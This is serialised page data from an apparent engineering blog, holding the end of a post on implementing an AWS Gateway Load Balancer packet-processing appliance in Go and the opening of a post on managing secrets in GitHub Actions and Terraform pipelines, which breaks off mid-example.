errors).",[],"rich_text$24b4c34a-b1fc-4c36-91d4-6e033a9dbaec",{"variation":459,"version":460,"items":2978,"primary":2979,"id":3007,"slice_type":479,"slice_label":13},[],{"body":2980},[2981,2984,2987,2990,2993,2996,2999,3002],{"type":465,"text":2982,"spans":2983},"Capturing packets",[],{"type":396,"text":2985,"spans":2986},"Packets that the virtual appliance has to handle will be encapsulated using Geneve and transferred over UDP. This means, that each received packet will begin with the following layers:",[],{"type":1101,"text":2988,"spans":2989},"outer IP header,",[],{"type":1101,"text":2991,"spans":2992},"outer UDP header,",[],{"type":1101,"text":2994,"spans":2995},"Geneve header.",[],{"type":396,"text":2997,"spans":2998},"After these 3 layers, the encapsulated packet's layers will follow.",[],{"type":396,"text":3000,"spans":3001},"The virtual appliance has to swap source and destination IP addresses in the outer IP header and update the checksum. To properly implement this, we need to capture raw UDP packets so we get access to all the layers mentioned above.",[],{"type":396,"text":3003,"spans":3004},"To create a socket from which we can read raw packets we would call unix.Socket as follows.",[3005],{"start":518,"end":3006,"type":780},79,"rich_text$245d04e7-db1e-4c3f-8879-bc62a5e9fc4b",{"variation":459,"version":460,"items":3009,"primary":3010,"id":3015,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3011},[3012],{"type":563,"text":3013,"spans":3014},"fd, err := unix.Socket(unix.AF_INET, unix.SOCK_RAW, unix.IPPROTO_UDP)",[],"code_block$ddbe6539-3066-470b-a6eb-80f7bd023348",{"variation":459,"version":460,"items":3017,"primary":3018,"id":3025,"slice_type":479,"slice_label":13},[],{"body":3019},[3020],{"type":396,"text":3021,"spans":3022},"We have to preserve other parts (except the checksum) of the outer layers. By default, when sending a packet the IP header would be generated for us. Since we will provide the outer IP header ourselves we have to set the IP_HDRINCL socket option.",[3023],{"start":3024,"end":855,"type":780},221,"rich_text$8c0e484b-af8f-438d-8f79-147d5d347808",{"variation":459,"version":460,"items":3027,"primary":3028,"id":3033,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3029},[3030],{"type":563,"text":3031,"spans":3032},"err = unix.SetsockoptInt(fd, unix.IPPROTO_IP, unix.IP_HDRINCL, 1)",[],"code_block$e2ac54e6-c460-44e8-94f9-3a07da067581",{"variation":459,"version":460,"items":3035,"primary":3036,"id":3041,"slice_type":479,"slice_label":13},[],{"body":3037},[3038],{"type":396,"text":3039,"spans":3040},"We also have to update the outer IP header's checksum. Fortunately, it's handled automatically.",[],"rich_text$d18766b0-6d75-4ff0-a643-332af4e33dea",{"variation":459,"version":460,"items":3043,"primary":3044,"id":3052,"slice_type":479,"slice_label":13},[],{"body":3045},[3046,3049],{"type":465,"text":3047,"spans":3048},"Decoding packets",[],{"type":396,"text":3050,"spans":3051},"After the socket is created, we can start receiving packets from it.",[],"rich_text$8b577441-3d30-43e3-901a-b840cd613b48",{"variation":459,"version":460,"items":3054,"primary":3055,"id":3060,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3056},[3057],{"type":563,"text":3058,"spans":3059},"buffer := make([]byte, 8500)\nlength, raddr, err := unix.Recvfrom(fd, buffer, 0)",[],"code_block$fa768a54-6e40-45c4-a328-4e61eb19a2b0",{"variation":459,"version":460,"items":3062,"primary":3063,"id":3069,"slice_type":479,"slice_label":13},[],{"body":3064},[3065],{"type":396,"text":3066,"spans":3067},"We can then decode the packet using the gopacket library.",[3068],{"start":2040,"end":516,"type":780},"rich_text$d3718ac8-dc20-463f-b7a3-84e17e391017",{"variation":459,"version":460,"items":3071,"primary":3072,"id":3077,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3073},[3074],{"type":563,"text":3075,"spans":3076},"p := gopacket.NewPacket(buffer[:length], layers.LayerTypeIPv4, gopacket.Default)\npacketLayers := p.Layers()",[],"code_block$b6158fbf-d9fe-4079-b12b-a083446e0888",{"variation":459,"version":460,"items":3079,"primary":3080,"id":3085,"slice_type":479,"slice_label":13},[],{"body":3081},[3082],{"type":396,"text":3083,"spans":3084},"Finally, we get access to all of the packet's layers.",[],"rich_text$40eae855-9aa3-4398-a03a-520b92e3c50a",{"variation":459,"version":460,"items":3087,"primary":3088,"id":3093,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3089},[3090],{"type":563,"text":3091,"spans":3092},"\u002F\u002F access the outer IP layer\npacketLayers[0].(*layers.IPv4)\n\n\u002F\u002F access the outer UDP layer\npacketLayers[1].(*layers.UDP)",[],"code_block$f2edce7d-0cba-4af3-b2bd-00a494133844",{"variation":459,"version":460,"items":3095,"primary":3096,"id":3104,"slice_type":479,"slice_label":13},[],{"body":3097},[3098,3101],{"type":465,"text":3099,"spans":3100},"Dropping packets",[],{"type":396,"text":3102,"spans":3103},"Dropping packets is super simple. We just don't send anything back and stop processing the packet.",[],"rich_text$2fc05496-cce9-464b-bc50-da3b506790ba",{"variation":459,"version":460,"items":3106,"primary":3107,"id":3139,"slice_type":479,"slice_label":13},[],{"body":3108},[3109,3112,3115,3118,3121,3124,3127,3130,3133,3136],{"type":465,"text":3110,"spans":3111},"Modifying packets",[],{"type":396,"text":3113,"spans":3114},"Modifying packets requires a little bit more work, as we have to access inner layers. And, after a packet is modified the checksum has to be recalculated.",[],{"type":396,"text":3116,"spans":3117},"We will attempt to modify UDP packets only. This means, that packets interesting to us will contain the following layers:",[],{"type":1101,"text":3119,"spans":3120},"outer IP,",[],{"type":1101,"text":3122,"spans":3123},"outer UDP,",[],{"type":1101,"text":3125,"spans":3126},"Geneve,",[],{"type":1101,"text":3128,"spans":3129},"inner IP,",[],{"type":1101,"text":3131,"spans":3132},"inner UDP,",[],{"type":1101,"text":3134,"spans":3135},"payload.",[],{"type":396,"text":3137,"spans":3138},"Since the checksums of both inner UDP and IPv4 layers depend on the payload, we can't just modify the payload. We have to also recalculate the checksums. UDP checksum depends on the IPv4 header, therefore we have to explicitly set the correct IP layer in the UDP layer to the one that will be used later for the checksum calculation.",[],"rich_text$f48d40e3-5309-4132-b921-8450a0bd8c54",{"variation":459,"version":460,"items":3141,"primary":3142,"id":3147,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3143},[3144],{"type":563,"text":3145,"spans":3146},"type PayloadModifyFun func([]byte) []byte\n\nfunc (p *Packet) ModifyUDP(f PayloadModifyFun) {\n \u002F\u002F get the inner layers\n ip := p.packetLayers[3].(*layers.IPv4)\n udp := p.packetLayers[4].(*layers.UDP)\n payload := p.packetLayers[5].(*gopacket.Payload)\n p.modified = true\n  \n \u002F\u002F udp checksum depends on IPv4 layer. Therefore, we need to provide a layer that will be used for checksum calculation.\n udp.SetNetworkLayerForChecksum(ip)\n\n   \u002F\u002F update the payload\n   p.packetLayers[5] = gopacket.Payload(f(payload.Payload()))\n}",[],"code_block$ac72d795-e688-4455-bfaa-11598cce3e71",{"variation":459,"version":460,"items":3149,"primary":3150,"id":3158,"slice_type":479,"slice_label":13},[],{"body":3151},[3152,3155],{"type":465,"text":3153,"spans":3154},"Serialising packets and sending them back",[],{"type":396,"text":3156,"spans":3157},"Before we send the packet back, we have to swap the source and destination IP in the outer IP layer. This is quite simple.",[],"rich_text$4b786e5d-ba53-4857-8547-2f7fbf6ea014",{"variation":459,"version":460,"items":3160,"primary":3161,"id":3166,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3162},[3163],{"type":563,"text":3164,"spans":3165},"func (p *Packet) SwapSrcDstIpv4() {\n ip, _ := p.packetLayers[0].(*layers.IPv4)\n dst := ip.DstIP\n ip.DstIP = ip.SrcIP\n ip.SrcIP = dst\n}",[],"code_block$49cff649-9c82-4ecd-89e3-0515344fccb6",{"variation":459,"version":460,"items":3168,"primary":3169,"id":3174,"slice_type":479,"slice_label":13},[],{"body":3170},[3171],{"type":396,"text":3172,"spans":3173},"After IP addresses have been swapped, we are ready to serialise all the layers (in reverse order). In cases where the payload has been modified, we have to additionally recompute checksums as mentioned above.",[],"rich_text$ac089772-511d-4e98-ba57-e4b21d052b17",{"variation":459,"version":460,"items":3176,"primary":3177,"id":3182,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3178},[3179],{"type":563,"text":3180,"spans":3181},"func (p *Packet) Serialize() []byte {\n buf := gopacket.NewSerializeBuffer()\n for i := len(p.packetLayers) - 1; i >= 0; i-- {\n  if layer, ok := p.packetLayers[i].(gopacket.SerializableLayer); ok {\n   var opts gopacket.SerializeOptions\n\n   \u002F\u002F recompute checksum of inner IP and UDP layers in case the packet was modified\n   if p.modified && (i == p.insideUDPLayerIdx() || i == p.insideIPLayerIdx()) {\n    opts = gopacket.SerializeOptions{ComputeChecksums: true, FixLengths: true}\n   } else {\n    opts = gopacket.SerializeOptions{FixLengths: true}\n   }\n\n   layer.SerializeTo(buf, opts)\n   buf.PushLayer(layer.LayerType())\n  } else if layer, ok := p.packetLayers[i].(*layers.Geneve); ok {\n   bytes, _ := buf.PrependBytes(len(layer.Contents))\n   copy(bytes, layer.Contents)\n  } else {\n   return nil\n  }\n }\n  return buf.Bytes()\n}",[],"code_block$a3c0ac37-1f34-4430-a7cb-4b3232b3d6ef",{"variation":459,"version":460,"items":3184,"primary":3185,"id":3190,"slice_type":479,"slice_label":13},[],{"body":3186},[3187],{"type":396,"text":3188,"spans":3189},"Finally, we can send the packet back.",[],"rich_text$4318a974-a39f-4f9c-8576-0ce83e3dde18",{"variation":459,"version":460,"items":3192,"primary":3193,"id":3198,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":3194},[3195],{"type":563,"text":3196,"spans":3197},"unix.Sendto(fd, response, 0, raddr)",[],"code_block$f098601a-ca6d-422b-bc34-23cfdbf34cab",{"variation":459,"version":460,"items":3200,"primary":3201,"id":3209,"slice_type":479,"slice_label":13},[],{"body":3202},[3203,3206],{"type":465,"text":3204,"spans":3205},"Demo",[],{"type":396,"text":3207,"spans":3208},"At the very beginning, we have to provision the infrastructure.",[],"rich_text$5ba72232-2fef-4e8d-aa4f-8913bca8898f",{"variation":459,"version":460,"items":3211,"primary":3212,"id":3217,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":3213},[3214],{"type":563,"text":3215,"spans":3216},".\u002Fdeploy_infra.sh\n.\u002Fdeploy_censor.sh",[],"code_block$63753f9c-c0d6-425a-a2c7-326235aa1e14",{"variation":459,"version":460,"items":3219,"primary":3220,"id":3225,"slice_type":479,"slice_label":13},[],{"body":3221},[3222],{"type":396,"text":3223,"spans":3224},"After all the required resources have been created, in a new terminal, we need to install the required packages on the provisioned instances.",[],"rich_text$79607f03-7bea-471b-902a-6d7636f0bcc5",{"variation":459,"version":460,"items":3227,"primary":3228,"id":3233,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":3229},[3230],{"type":563,"text":3231,"spans":3232},".\u002Finit_infra.sh",[],"code_block$09d084d5-800d-44a5-a8ea-fe4f6fc6aaf0",{"variation":459,"version":460,"items":3235,"primary":3236,"id":3253,"slice_type":479,"slice_label":13},[],{"body":3237},[3238],{"type":396,"text":3239,"spans":3240},"Next, in two separate terminals, we can connect to instances a and b. On instance a we start to listen on UDP port 3000 and on instance b we connect to instance a (note, that in your case private IP addresses will be different so please adjust the commands below).",[3241,3244,3245,3246,3248,3251],{"start":3242,"end":3243,"type":780},61,62,{"start":2630,"end":518,"type":780},{"start":899,"end":549,"type":780},{"start":3247,"end":742,"type":780},115,{"start":3249,"end":3250,"type":780},136,137,{"start":1049,"end":3252,"type":780},162,"rich_text$a2343294-7d63-4cae-a074-6b48b4dbc488",{"variation":459,"version":460,"items":3255,"primary":3256,"id":3261,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":3257},[3258],{"type":563,"text":3259,"spans":3260},".\u002Fssh.sh a\n\n[ec2-user@ip-192-168-1-209 ~]$ nc -l -u 3000",[],"code_block$4951ad9b-0e78-4f89-9d96-b8de33718a81",{"variation":459,"version":460,"items":3263,"primary":3264,"id":3269,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":3265},[3266],{"type":563,"text":3267,"spans":3268},".\u002Fssh.sh b\n\n[ec2-user@ip-192-168-2-106 ~]$ nc -u 192.168.1.209 3000\ntest\ndrop me\nweakly typed programming language",[],"code_block$4b9d695d-813c-4c5a-8440-e77bf3edf814",{"variation":459,"version":460,"items":3271,"primary":3272,"id":3278,"slice_type":479,"slice_label":13},[],{"body":3273},[3274],{"type":396,"text":3275,"spans":3276},"In instance a we would receive the following.",[3277],{"start":1333,"end":1403,"type":780},"rich_text$ff0b25bf-b7d4-4f5d-a96a-109c34711f3f",{"variation":459,"version":460,"items":3280,"primary":3281,"id":3286,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":3282},[3283],{"type":563,"text":3284,"spans":3285},"test\nstrongly typed programming language",[],"code_block$c1a4a473-99c6-4ba1-bca9-053084d6e35a",{"variation":459,"version":460,"items":3288,"primary":3289,"id":3300,"slice_type":479,"slice_label":13},[],{"body":3290},[3291,3294],{"type":396,"text":3292,"spans":3293},"We expect messages containing \"drop me\" aren't delivered and \"weakly typed\" in the message is replaced with \"strongly typed\". The above example confirms that everything works as expected.",[],{"type":396,"text":3295,"spans":3296},"By pinging instance a from instance b we notice that as expected, every 5th ICMP packet is dropped.",[3297,3299],{"start":3298,"end":706,"type":780},20,{"start":546,"end":475,"type":780},"rich_text$cfb4c70d-8bc2-419b-9e89-a835b2b6280f",{"variation":459,"version":460,"items":3302,"primary":3303,"id":3308,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":3304},[3305],{"type":563,"text":3306,"spans":3307},"[ec2-user@ip-192-168-2-106 ~]$ ping 192.168.1.209\nPING 192.168.1.209 (192.168.1.209) 56(84) bytes of data.\n64 bytes from 192.168.1.209: icmp_seq=1 ttl=253 time=3.96 ms\n64 bytes from 192.168.1.209: icmp_seq=2 ttl=253 time=1.58 ms\n64 bytes from 192.168.1.209: icmp_seq=3 ttl=253 time=1.51 ms\n64 bytes from 192.168.1.209: icmp_seq=4 ttl=253 time=1.51 ms\n64 bytes from 192.168.1.209: icmp_seq=6 ttl=253 time=1.64 ms\n64 bytes from 192.168.1.209: icmp_seq=7 ttl=253 time=2.07 ms\n64 bytes from 192.168.1.209: icmp_seq=8 ttl=253 time=1.87 ms\n64 bytes from 192.168.1.209: icmp_seq=9 ttl=253 time=3.36 ms\n64 bytes from 192.168.1.209: icmp_seq=11 ttl=253 time=1.84 ms",[],"code_block$0969535f-333b-42f4-a50d-597d79fedec6",{"variation":459,"version":460,"items":3310,"primary":3311,"id":3316,"slice_type":479,"slice_label":13},[],{"body":3312},[3313],{"type":396,"text":3314,"spans":3315},"Eventually, when we're done we can destroy the infrastructure so we don't spend too much $.",[],"rich_text$ec00751a-ee0f-472b-8866-3dbcaf21faa9",{"variation":459,"version":460,"items":3318,"primary":3319,"id":3324,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":3320},[3321],{"type":563,"text":3322,"spans":3323},".\u002Fdestroy_infra.sh",[],"code_block$fd771d9d-c116-4911-b2b7-68ef8de73b74",{"variation":459,"version":460,"items":3326,"primary":3327,"id":3380,"slice_type":479,"slice_label":13},[],{"body":3328},[3329,3331,3334,3337,3340,3343,3346,3349,3352,3357,3363,3369,3374],{"type":465,"text":982,"spans":3330},[],{"type":396,"text":3332,"spans":3333},"We've covered quite a bit in this post:",[],{"type":1101,"text":3335,"spans":3336},"what AWS Gateway Load Balancer is,",[],{"type":1101,"text":3338,"spans":3339},"how to capture and process raw network packets,",[],{"type":1101,"text":3341,"spans":3342},"how to implement a virtual appliance,",[],{"type":1101,"text":3344,"spans":3345},"presented how it all works.",[],{"type":396,"text":3347,"spans":3348},"While this was a pretty simple example, it's a valuable starting point for more advanced applications of this AWS service.",[],{"type":1097,"text":3350,"spans":3351},"Further reading",[],{"type":1101,"text":3353,"spans":3354},"GitHub repository with example code.",[3355],{"start":17,"end":967,"type":744,"data":3356},{"link_type":453,"url":2889,"target":456},{"type":1101,"text":3358,"spans":3359},"AWS Gateway Load Balancer official documentation.",[3360],{"start":17,"end":516,"type":744,"data":3361},{"link_type":453,"url":3362,"target":456},"https:\u002F\u002Faws.amazon.com\u002Felasticloadbalancing\u002Fgateway-load-balancer\u002F",{"type":1101,"text":3364,"spans":3365},"Integrate your custom logic or appliance with AWS Gateway Load Balancer from AWS blog.",[3366],{"start":17,"end":1558,"type":744,"data":3367},{"link_type":453,"url":3368,"target":456},"https:\u002F\u002Faws.amazon.com\u002Fblogs\u002Fnetworking-and-content-delivery\u002Fintegrate-your-custom-logic-or-appliance-with-aws-gateway-load-balancer\u002F",{"type":1101,"text":3370,"spans":3371},"Getting started guide.",[3372],{"start":17,"end":706,"type":744,"data":3373},{"link_type":453,"url":2884,"target":456},{"type":1101,"text":3375,"spans":3376},"Geneve: Generic Network Virtualisation Encapsulation RFC8926.",[3377],{"start":3378,"end":2103,"type":744,"data":3379},53,{"link_type":453,"url":2936,"target":456},"rich_text$e58e245a-ce64-43bf-8097-1f66b2d55a3f",{"id":3382,"uid":3383,"url":3384,"type":406,"href":3385,"tags":3386,"first_publication_date":1880,"last_publication_date":2850,"slugs":3387,"linked_documents":3389,"lang":386,"alternate_languages":3390,"data":3391},"alz0vxEAACcAUWZu","secrets-build-pipelines","\u002Fresources\u002Fengineering-blog\u002Fsecrets-build-pipelines","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0vxEAACcAUWZu%22%29+%5D%5D",[],[3388],"first-an-example",[],[],{"title":3392,"excerpt":3393,"card_image":3394,"published_date":3399,"reading_time":3400,"tag":427,"dek":3393,"featured_image":3401,"about_form3":3408,"client_about_heading":13,"client_about_body":3409,"author_name":1594,"author_title":1595,"author_photo":3410,"author_bio":3413,"author_linkedin":3418,"slices":3420,"meta_title":3392,"meta_description":3393},"Secrets management in build and deployment pipelines","In his previous post about bootstrapping engineering organisations, Andy Kuszyk identified secrets management as one of the key challenges that need to be tackled early on in growing organisations. In this post, he dives deeper into this topic and discusses two secrets management patterns: injecting secrets with Terraform and issuing them with a central secrets manager.",{"dimensions":3395,"alt":3392,"copyright":13,"url":3396,"id":3397,"edit":3398},{"width":420,"height":420},"\u002F_prismic-media\u002F14824fa16d53fa00-rHlkIsi_eWPq8x9x_secrets-build-pipelines.png","rHlkIsi_eWPq8x9x",{"x":17,"y":17,"zoom":18,"background":19},"2023-05-04",6,{"dimensions":3402,"alt":13,"copyright":13,"url":3405,"id":3406,"edit":3407},{"width":3403,"height":3404},814,548,"\u002F_prismic-media\u002F8925ff353b8b8dd7-3YUTqNHKynr5ubBP_8ea81d8f-5f79-4d44-97fa-a0838df.png","3YUTqNHKynr5ubBP",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":3411,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":3412},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[3414],{"type":396,"text":1603,"spans":3415},[3416],{"start":1606,"end":1607,"type":744,"data":3417},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":3419,"url":1612,"target":456},"ef9d5df4-1c7c-45d5-81c7-a86cb9a4defd",[3421,3449,3464,3473,3481,3489,3497,3505,3517,3532,3542,3550,3564,3596,3615,3623,3631,3639,3647,3655,3663,3696,3714,3725],{"variation":459,"version":460,"items":3422,"primary":3423,"id":3448,"slice_type":479,"slice_label":13},[],{"body":3424},[3425,3432,3435,3438,3441],{"type":396,"text":3426,"spans":3427},"I recently wrote about what I thought were the key ingredients to success when bootstrapping a new engineering organisation. One of these ingredients is secrets management in build and deployment pipelines. In this post, I'm going to describe why I think this is so important, and provide some practical examples of how to get it right (and how to get it wrong!).",[3428],{"start":2010,"end":595,"type":744,"data":3429},{"id":3430,"type":1052,"tags":3431,"lang":13,"slug":1054,"first_publication_date":13,"last_publication_date":13,"link_type":499,"isBroken":1055},"ZCF3lBEAAC0AflWB",[],{"type":396,"text":3433,"spans":3434},"Secrets are required to build and deploy software. Normally when you start out, there are some simple, secure ways to inject secrets into your build and deployment pipelines. For example, with Travis you can use the CLI to commit an encrypted file to a repo, or add an encrypted environment variable. In GitHub Actions, you can add a secret to a repo, which you can safely use later in your workflows.",[],{"type":396,"text":3436,"spans":3437},"However, it doesn't take long before you've got lots of secrets in lots of different places. When this happens, the secrets themselves become hard to manage, and hard to maintain. You can't easily revoke or rotate them, or roll out new secrets automatically.",[],{"type":396,"text":3439,"spans":3440},"Ideally, when bootstrapping an engineering organisation, you want to establish a good way of injecting secrets into your entire build and deployment pipeline estate from day one.",[],{"type":396,"text":3442,"spans":3443},"If you're interested in this topic, you might also be interested in our recent podcast about secrets management.",[3444],{"start":3006,"end":2475,"type":744,"data":3445},{"id":3446,"type":1052,"tags":3447,"lang":13,"slug":1054,"first_publication_date":13,"last_publication_date":13,"link_type":499,"isBroken":1055},"ZDWFRBIAACoALkGf",[],"rich_text$9c46e2ae-2bd4-4662-91f3-50b1f3544977",{"variation":459,"version":460,"items":3450,"primary":3451,"id":3463,"slice_type":479,"slice_label":13},[],{"body":3452},[3453,3456,3459],{"type":465,"text":3454,"spans":3455},"First, an example",[],{"type":396,"text":3457,"spans":3458},"What exactly am I talking about when I say \"secrets management in build and deployment pipelines\"? Let's start with a simple example to set the scene.",[],{"type":396,"text":3460,"spans":3461},"Say you have a project called Hello World, which has a simple Dockerfile:",[3462],{"start":555,"end":580,"type":780},"rich_text$ebcb615b-4825-4781-8762-b96219b7dace",{"variation":459,"version":460,"items":3465,"primary":3466,"id":3472,"slice_type":567,"slice_label":13},[],{"language_label":3467,"code":3468},"yaml",[3469],{"type":563,"text":3470,"spans":3471},"FROM alpine\nCMD echo 'hello world'",[],"code_block$6f0cca15-2c52-471e-aaac-417f936b49b5",{"variation":459,"version":460,"items":3474,"primary":3475,"id":3480,"slice_type":479,"slice_label":13},[],{"body":3476},[3477],{"type":396,"text":3478,"spans":3479},"In your build and deployment pipeline, you want to build this Dockerfile, and publish it to a public Docker registry (for example Docker Hub). Let's assume you're using GitHub Actions for this. Your pipeline might look something like this:",[],"rich_text$2df1aa8d-3f56-474d-b19c-3008e4c141b3",{"variation":459,"version":460,"items":3482,"primary":3483,"id":3488,"slice_type":567,"slice_label":13},[],{"language_label":3467,"code":3484},[3485],{"type":563,"text":3486,"spans":3487},"on: [push]\njobs:\n  docker-publish:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v3\n      - run: docker build -t andykuszyk\u002Fhello-world:latest .\n      - run: docker push andykuszyk\u002Fhello-world:latest",[],"code_block$bca32e6e-e963-4f72-a2fd-a513b9bf0de9",{"variation":459,"version":460,"items":3490,"primary":3491,"id":3496,"slice_type":479,"slice_label":13},[],{"body":3492},[3493],{"type":396,"text":3494,"spans":3495},"Great; nice and simple. However, before you publish to the Docker registry, you're going to need to authenticate with it, which means you're going to need some credentials. You need something like this before the docker build step:",[],"rich_text$aa0fc86e-f803-4e94-b4f7-2b9d6a7746db",{"variation":459,"version":460,"items":3498,"primary":3499,"id":3504,"slice_type":567,"slice_label":13},[],{"language_label":3467,"code":3500},[3501],{"type":563,"text":3502,"spans":3503},"- run: docker login -u \"andykuszyk\" -p \"n0tmyr3alpa22w0rd\"",[],"code_block$01684a8f-3233-42a3-ae35-db6db116f7c8",{"variation":459,"version":460,"items":3506,"primary":3507,"id":3516,"slice_type":479,"slice_label":13},[],{"body":3508},[3509],{"type":396,"text":3510,"spans":3511},"So, how are you going to do that without committing your credentials to source control? Well, there's normally a variety of ways you can do this with the CI system of your choice. In the case of GitHub Actions, you can store encrypted secrets alongside the repo itself via the repo settings:",[3512],{"start":2775,"end":3513,"type":744,"data":3514},242,{"link_type":453,"url":3515,"target":456},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Factions\u002Fsecurity-guides\u002Fencrypted-secrets","rich_text$3ad12715-5175-4a6a-91e3-fbf3d0a09d8e",{"variation":459,"version":481,"items":3518,"primary":3519,"id":3531,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":3520,"body":3521,"cta_label":13,"cta_link":3522,"aside_type":488,"aside_image":3523,"aside_video":3526,"aside_video_poster":3527,"aside_video_reduced_motion":3528,"aside_video_url":13,"aside_embed":3529,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":3530,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":3524,"alt":13,"copyright":13,"url":3405,"id":3406,"edit":3525},{"width":3403,"height":3404},{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$b80e551f-e819-40b1-9340-203dbff86c09",{"variation":459,"version":460,"items":3533,"primary":3534,"id":3541,"slice_type":479,"slice_label":13},[],{"body":3535},[3536],{"type":396,"text":3537,"spans":3538},"If you add docker_username and docker_password secrets to your repo, then you can easily use them in your CI pipeline:",[3539,3540],{"start":1998,"end":596,"type":780},{"start":2585,"end":589,"type":780},"rich_text$d0c1a412-676b-4da8-8250-66d69a1405a4",{"variation":459,"version":460,"items":3543,"primary":3544,"id":3549,"slice_type":567,"slice_label":13},[],{"language_label":3467,"code":3545},[3546],{"type":563,"text":3547,"spans":3548},"on: [push]\njobs:\n  docker-publish:\n    runs-on: ubuntu-latest\n    env:\n      DOCKER_USERNAME: ${{ secrets.docker_username }}\n      DOCKER_PASSWORD: ${{ secrets.docker_password }}\n    steps:\n      - uses: actions\u002Fcheckout@v3\n      - run: docker login -u \"$DOCKER_USERNAME\" -p \"$DOCKER_PASSWORD\"\n      - run: docker build -t andykuszyk\u002Fhello-world:latest .\n      - run: docker push andykuszyk\u002Fhello-world:latest",[],"code_block$0a6438ec-9168-411a-bc7f-c8df2447a10d",{"variation":459,"version":460,"items":3551,"primary":3552,"id":3563,"slice_type":479,"slice_label":13},[],{"body":3553},[3554,3557,3560],{"type":396,"text":3555,"spans":3556},"This has solved the problem for a single repo. When you're starting a new engineering organisation, you might start off with one (or a small number) of repos, which makes this approach effective. However, when the number of repos in your estate begins to grow, this approach becomes problematic. It's easy to lose track of what secrets are in use in which repos, and you're relying on people manually adding secrets in order to inject them into your pipelines. This means you need to grant everyone in your organisation access to your secrets, or rely on a small number of people to manage the secret injection.",[],{"type":396,"text":3558,"spans":3559},"Most problematic of all is that, one day, you'll need to revoke or rotate the secrets. If you've been manually adding them here, there, and everywhere, then this becomes a real problem. You have to go through every repo, and rotate them one by one.",[],{"type":396,"text":3561,"spans":3562},"What you really need is a nice, convenient way to manage the secrets centrally in a way that lets you deploy a single set of secrets to your estate of repos. That way you can see what is being used where, and rotate secret values easily.",[],"rich_text$570af281-0279-4aa7-882a-af065211888d",{"variation":459,"version":460,"items":3565,"primary":3566,"id":3595,"slice_type":479,"slice_label":13},[],{"body":3567},[3568,3571,3574,3577,3580,3583,3586,3589,3592],{"type":465,"text":3569,"spans":3570},"Two patterns for pragmatic secret management",[],{"type":396,"text":3572,"spans":3573},"In order to make managing secrets in CI easier in the long-run when building an engineering organisation, I think you need to achieve two things:",[],{"type":1101,"text":3575,"spans":3576},"Manage secrets centrally.",[],{"type":1101,"text":3578,"spans":3579},"Be able to rotate them easily.",[],{"type":396,"text":3581,"spans":3582},"Below are two patterns for secret management that will help you do this.",[],{"type":1097,"text":3584,"spans":3585},"Inject secrets using Terraform",[],{"type":396,"text":3587,"spans":3588},"Rather than creating and updating secrets manually, you can manage them centrally by managing your estate of repos using Terraform. This is a good practice anyway, because it means that you can administer your repos en-masse in Terraform, and can restrict admin permissions to the user that Terraform uses, rather than granting it to your ordinary users.",[],{"type":396,"text":3590,"spans":3591},"In my description below, I will be focusing on GitHub and GitHub Actions secrets, although this pattern can just as easily be applied to other CI providers that expose some sort of secret storage functionality via an API.",[],{"type":396,"text":3593,"spans":3594},"The general idea with this pattern is that you manage your GitHub repos centrally in Terraform, and use Terraform to create secrets in each of your repos. CI pipelines in each repo can then access the secrets provisioned via Terraform:",[],"rich_text$9e5ddccb-ccd1-41b2-b571-4f2c01cedc2a",{"variation":459,"version":481,"items":3597,"primary":3598,"id":3614,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":3599,"body":3600,"cta_label":13,"cta_link":3601,"aside_type":488,"aside_image":3602,"aside_video":3609,"aside_video_poster":3610,"aside_video_reduced_motion":3611,"aside_video_url":13,"aside_embed":3612,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":3613,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":3603,"alt":13,"copyright":13,"url":3606,"id":3607,"edit":3608},{"width":3604,"height":3605},620,287,"\u002F_prismic-media\u002F36101b39acb4742f-6G2djj_rtx_3zB2d_d7751132-c9d3-41e4-831a-ff3014f.png","6G2djj_rtx_3zB2d",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$108af09c-e6e3-46f1-82a5-3f5ed5cd1e1a",{"variation":459,"version":460,"items":3616,"primary":3617,"id":3622,"slice_type":479,"slice_label":13},[],{"body":3618},[3619],{"type":396,"text":3620,"spans":3621},"What this looks like in reality is fairly straightforward. GitHub repos are easy to provision using Terraform:",[],"rich_text$af21f00d-3e1d-4e00-9ad3-14f739c823e0",{"variation":459,"version":460,"items":3624,"primary":3625,"id":3630,"slice_type":567,"slice_label":13},[],{"language_label":3467,"code":3626},[3627],{"type":563,"text":3628,"spans":3629},"resource \"github_repository\" \"hello_world_api\" {\n  name                 = \"hello-world-api\"\n  description          = \"\"\n  has_downloads        = true\n  has_issues           = true\n  has_wiki             = true\n  has_projects         = true\n  homepage_url         = \"\"\n  vulnerability_alerts = true\n  visibility           = \"public\"\n  